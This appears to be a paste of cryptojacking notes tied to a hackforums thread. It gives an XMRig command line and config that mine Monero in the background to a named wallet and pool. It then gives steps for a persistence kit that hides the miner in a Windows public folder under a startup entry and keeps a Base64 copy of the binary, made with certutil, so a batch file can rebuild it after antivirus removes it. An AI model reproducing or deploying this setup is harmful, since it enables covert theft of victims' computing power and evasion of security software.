mail
1234commandline
xmrig.exe -B --no-color --print-time 900 --donate-level 0 --cpu-priority 3 -o xmr-eu2.nanopool.org:14433 -u 4BJB4Gw3cUfLwGebT165z22PYuAZ8JMiMgqisrd2ZVdcd6z7vjanezWJJXK8iTNpygNhLx7gdye4aaus47sFjx8tJkSMUEz -p x --variant 1 -k --nicehash
config.json
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "worker-id": null, "ipv6": false, "restricted": true }, "av": 0, "background": true, "colors": false, "cpu-priority": 3, "donate-level": 0, "log-file": null, "max-cpu-usage": 75, "pools": [ { "url": "xmr-eu2.nanopool.org:14433", "user": "4BJB4Gw3cUfLwGebT165z22PYuAZ8JMiMgqisrd2ZVdcd6z7vjanezWJJXK8iTNpygNhLx7gdye4aaus47sFjx8tJkSMUEz", "pass": "", "keepalive": true, "nicehash": true, "variant": 1 } ], "print-time": 900, "retries": 5, "retry-pause": 5, "safe": false, "syslog": false, "threads": null }
4BJB4Gw3cUfLwGebT165z22PYuAZ8JMiMgqisrd2ZVdcd6z7vjanezWJJXK8iTNpygNhLx7gdye4aaus47sFjx8tJkSMUEz
ssl://xmr-eu2.nanopool.org:14433, WALLET: 4BJB4Gw3cUfLwGebT165z22PYuAZ8JMiMgqisrd2ZVdcd6z7vjanezWJJXK8iTNpygNhLx7gdye4aaus47sFjx8tJkSMUEz.67, PSW: x, ALLPOOLS: 0
https://hackforums.net/showthread.php?tid=5789205
You will need to change a few parts of the script for it to work with your specific miner.
- Startup Name :: XMRig_Miner
- File Names :: xmrig.exe , xmrig.vbs, xmrig.bat, xmrig.txt
- File Location :: %PUBLIC%\Windows\xmrig.exe
- Miner Line :: Start %PUBLIC%\Windows\xmrig.exe --donate-level=1 -B -o MINING_POOL:PORT -u PUBLIC_WALLET -p x -k
The xmrig.txt file is a Base64 encoded text version of xmrig.exe, just incase it gets deleted by an AV, the BATCH file will convert the TXT file to EXE again and keep mining.
If you need to convert a different miner to Base64 TXT Version, open cmd and "cd" to the directory where you have the miner and run this:
certutil -encode new_miner.exe new_miner.txt